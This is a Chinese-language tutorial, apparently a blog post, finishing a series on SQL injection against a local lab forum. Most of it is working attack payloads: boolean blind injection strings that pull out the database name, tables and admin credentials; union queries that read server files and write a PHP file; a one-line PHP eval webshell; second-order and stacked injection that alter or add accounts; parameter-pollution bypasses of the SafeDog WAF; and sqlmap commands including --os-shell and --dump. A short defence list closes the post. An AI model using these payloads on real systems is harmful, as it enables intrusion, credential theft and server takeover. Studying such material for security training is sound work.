SQL注入漏洞-下篇
#作者:允砸儿
#日期:乙巳青蛇年 五月廿一
笔者在今天将完结sql注入的所有内容,漏洞这种东西需要结合各种不同的漏洞去“破解”。笔者认为找漏洞就像解密游戏一样通过前一个谜底猜下一个谜面的内容最终得到我们想知道的信息。sql注入漏洞是服务端漏洞之一,还有各种不同的漏洞需要我们去学习拓展我们的知识面,这样才能对其电脑更好的渗透。好了,我们进入到最后的内容吧。
布尔盲注
概念以及使用条件
当改变浏览器传给后台 SQL 的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法 使用union 联合查询注入与报错注入,这时候可以试试看能否使用布尔注入。当所有的语句都不让用,使用布尔。
一般情况下,当带入参数为真和假时,页面会有不同的反映,比如有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。
实战
1、判断是否存在布尔注入
使用布尔条件,绕过真假不同条件的时候,页面有变化考虑使用布尔盲注。
#这里使用union或报错注入会更加容易,我们是使用它作为案例
?id = 2 and 1=1
?id = 2 and 1=2
2、获得数据库名
a、获得数据库名字长度
这里面就需要一步一步尝试最终确定它的长度
先试一下:
?id=1 and length(database())<5
?id=1 and length(database())>2
判断结果等于4
?id=1 and length(database())=4
b、获得数据库名字
可以使用 ASCII 码,甄别出数据库每一个字符。
数据库的名字一般都是 a-z,A-Z 组成,也可能出现数字、下划线等字符,当现在已经长度为 4 。一个一个去猜用阿斯卡编码。asscii可以包含所有的英文首字母的含义,笔者简单的写一下该数据库的名字。
?id=1 and ascii(substr(database(),1,1))<123 #122 为 z
?id=1 and ascii(substr(database(),1,1))>64 #65 为 A
?id=1 and ascii(substr(database(),1,1))>100 #true ,true就是有显示有回显,false就是无回显
?id=1 and ascii(substr(database(),1,1))>110 #false
?id=1 and ascii(substr(database(),1,1))=106 #j -- 同样方法
?id=1 and ascii(substr(database(),2,1))=114 #r
?id=1 and ascii(substr(database(),3,1))=108 #l
?id=1 and ascii(substr(database(),4,1))=116 #t
最终通过上述测试我们获得数据库的名字为jrlt,我们在验证一下
?id=1 and database()='jrlt'

3、获得数据库的哪些表
a、获取数据表的个数
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())<5 #看是否有回显
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())<2
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database())=2
得到数据库里面有两张表
在这里面我们得知布尔盲注主要是通过大范围逐渐缩小到小范围再到精准定位,我们前期需要做好信息收集和十足的运气在猜几次的情况下拿下他。
b、获得某个表的长度
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<5
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 8
成功判定等于8
c、获得某个表的名称
先来一手判断是否字母在什么大致范围
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<120
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=109#m
=109发现有回显所以判断第一个字母为m,剩下的是7个需要再重复性的去试,一步一步的最终确定为messages,在获得第二张表为users。
4、获得表有哪些字段
a、获得user表的列数
?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5
一步步测试,获得 users 表有 5个字段
b、获得第一个字段的长度
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<10
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))<1
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2
得出第一个字段为2
c、获得第一个字段的名称
从第一个字段的第一个字符开始判断
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<100
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<110
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2,1))=100
ok我们得出第一个字段长度为2,名称是id,同理可证也可以获得其他的字段名字name,password,photo,money
5、获得字段的真实内容
a、获得user字段第一行数据的内容长度
?id=1 and (select LENGTH(name) from users LIMIT 0,1)=5
b、获得user字段第一行数据第一个字符内容
?id=1 and ascii(substr((select name from users limit 0,1),1,1))=97 # a
?id=1 and ascii(substr((select name from users limit 0,1),2,1))=100 # d
?id=1 and ascii(substr((select name from users limit 0,1),3,1))=109#m
?id=1 and asscii(substr((select name from users limit 0,1),4,1))=108#i
?id=1 and asscii(substr((select name from users limit 0,1),5,1))=110#n
最终数据为 admin,同理可证获得密码。
笔者还有一种和布尔盲注差不太多的的方法叫延迟盲注,这种注入方式在传给后台的参数中,设置了一个 if 语句,当条件为真时执行sleep语句,条件为假时无执行语句,然后根据浏览器的响应时间来推测 sleep 语句是否被执行,进而推测 if 条件是否为真。延时盲注与布尔盲注的核心思想都是通过浏览器两种不同的响应来推测输入的条件的真假,布尔盲注是条件真假时页面会有不同显示,延时盲注则是显示结果真假只能从响应时间上进行推测。这种方法效率极其低所以不推荐使用。
DNSlogs盲注
使用一句话木马:<?php @eval($_POST['cmd']); ?>
概念
DNSlog盲注就是通过load_file 函数发起请求,然后去 DNSlog 平台接收数据,需要用到 load_file 函数就是需要用到 root 用户读写文件的功能。
读写文件
innodb,myisam不支持主外键连上去会报错的需要加上一句demo:secure_file_priv=
1、查看配置
show VARIABLES like 'secure_file_priv'
可以看到 'secure_file_priv'=NULL代表着限制mysqld不允许导入或导出
2、修改配置文件并重启
myql根目录里面:\phpStudy\PHPTutorial\MySQL\my.ini
在innodc上面加上一句demo:secure_file_priv=
再查看一下:secure_file_priv=
3、实战
a、读取获得网站路径
?id=-1 union select 1,2,3,@@datadir
发现使用的是 phpStudy,可以读取
D:\install\phpstudy\PHPTutorial\Apache\conf\vhosts.conf" 获得站点路径
?id=-5 union select 1,2,3,load_file('D:\\install\\phpstudy\\PHPTutorial\\Apache\\conf\\vhosts.conf')
\\ 是转义字符
得出目录在D:\install\phpstudy\PHPTutorial\WWW\bbs
b、写入文件
在第四个注入点上写一个phpinfo或者一句话木马
?id=-1 union select 1,2,3,'<?php phpinfo();?>' into outfile
"D:\\install\\phpstudy\\PHPTutorial\\WWW\\bbs\\test.php"
直接获得:http://localhost/bbs/test.php
总结:获得网站目录的方式
1、使用遗留文件:phpinfo.php
2、使用各种文件配置
3、使用错误或警告信息
注意:这个需要有文件读取的权限,如果有着权限又不需要使用 DNSLOGS 来完成
注入的。
二次注入
概念
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句 中导致的注入。
实战
我们如何利用二次注入呢?怎么样攻击呢?
撞库(碰撞用户)
我们在进行渗透测试的时候在登录页面会看到,admin admin 密码错误 证明用户名是对的。在注册页面我们进行撞库利用代码漏洞:update users set `password` =999999 where `name` = `admin`#`
我们最终执行的结果改的是admin的密码,’#这是一个注入点,我们通过注释将后面注册掉了。
笔者将它分解为3步
攻击步骤1:碰撞用户
确认 admin 用户提示已经存在,可以攻击他
攻击步骤2:注册新用户
根据已经获得的 admin 用户注册新的的用户
admin‘#
攻击步骤3:修改admin’#用户的密码
查询数据发现自己的密码没变,但 admin 的密码被修改了,而且当前的用户名称为admin‘#
堆叠注入
概念
在 SQL 数据库中,每条语句是以;分开的,堆叠注入就是一次性注入并执行多条语句(多语句 之间以分号隔开)的注入方式。
与union对比
union 联合查询注入执行的语句类型是有限的,可以用来执行查询语句。
堆叠注入可 以执行的是任意的语句,如增删改等;
实战
假设这是个内部论坛,注册功能不会对外开放,需要留言可以通过前面的方式获取其他用户的 账号、密码。
步骤1:获取 user 表的字段数据
?id=-1 union select 1,2,version(),database() #获取user的字段
?id=-1 union select 1,2,version(), group_concat(table_name) from information_schema.tables where table_schema='jrlt'
?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'
?id=-1 union select 1,2,3,concat(name,':',password) from users limit 0,1 #获得name和password
步骤2、构建攻击语句
知道表名、数据的样貌,就可以构建新增语句了
?id=2;insert into users (name,password) values('hack',md5('admin'));
分析代码
代码 mysqli_multi_query 支持批量 SQL,mysqli_query 不支持 注意:多语句执行受数据库类型、API 等限制,有的不能实现
网络安全狗
安装狗
安装时候有一个需要注意的地方就是apache2.0这个需要在计算机》管理》服务中手动开启。
思路1、如何绕过狗呢?
在真实情况,肯定不会让你修改 WAF,可以考虑特殊字符过滤。
例1:http://localhost/bbs/showmessage.php
-- POST Data id=-1 union select 1,2,3,database
id=-1 union select 1,2,3,()
不拦截 database,不拦截(),但会拦截 database()整体
例2:http://localhost/bbs/showmessage.php
-- POST Data id=-1 union select 1,2,3,database/**/()
/**/在 mysql 里面是注释。
参数污染
使用参数污染去搞狗
?id=1/**&id=-1%20union%20select%201,2,3,4%23*/
?id=1/**&id=-1%20union%20select%201,2,3,database/**/()%23*/
?id=1/**&id=-1%20union%20select%201,2,3database()%23*/
#:20%是空格23%是#号
#:在浏览器上方看到?就是get提交方式
#:php注入点是最后一个
#:mysql真实接受 &id=-1 union select% 1,2,3,4 #*/ ,但安全狗接受的是 id=1
思路2、sqlmap绕过
1、基础测试
sqlmap --purge
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' --dbs
2、使用tamper
参考:https://github.com/w0x68y/bypassWAF/tree/master
3、新建passgog.py
上传到目录里面
cd/usr/share/sqlmap/tamper。运行python脚本
执行sqlmap
sqlmap --purge
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' --tamper=passdog.py --random- agent --dbs
sqlmap工具运用
概念
sqlmap 是一个开源的渗透测试工具,它可以自动化检测和利用 SQL 注入漏洞并接管数据库服 务器。它有一个强大的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项
注意:kali 自带。https://sqlmap.org/
实战
简单帮助: python sqlmap.py -h
详细帮助: python sqlmap.py -hh
清除缓存: python --purge
基本操作
检测漏洞
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2'
查询当前数据库
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' --current-db
当前数据库有哪些表
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' -D jrlt --tables
某些表有那些字段
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' -D jrlt -T users --columns
列出内容(数据)
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' -D jrlt -T users -C password -- dump
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' -D jrlt -T users -C name,password --dump
拓展操作
执行sql
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' --sql-shell select * from users
弱密码爆破
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' --password
执行系统命令
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' --os-shell
读取文件
sqlmap -u 'http://192.168.20.3/bbs/showmessage.php?id=2' --file-read "D:\e.txt"
sql注入防护
1、过滤
a、限制参数长度
b.识别恶意代码(union 、 order by 、update、select)
2、转义
直接把用户的输入当成文本
3、数据库安全控制
a、权限
b、敏感数据加密
4、预编译
a、看到prepare不要在攻击了,干不破的
b、$con=mysqli_connect("localhost","root","root","game");这段也是加密了
总结:笔者将sql注入篇已经全部完结,写的有点多,拖得时间有点长。这一部分知识是多且复杂的,笔者有很多地方写的不是很精只是粗略的写了一下,还请朋友们多多包含。
最后,笔者对这网安的内容非常感兴趣,会在后面继续写各种各种的漏洞。笔者在想:“掌握一门技术特别重要,它能给你更多选择的机会,让你能靠自己站稳脚跟,不至于被社会抛下”。更重要的是,它能让你稳稳地站在地上,养得起自己,然后——像风一样,活得自在。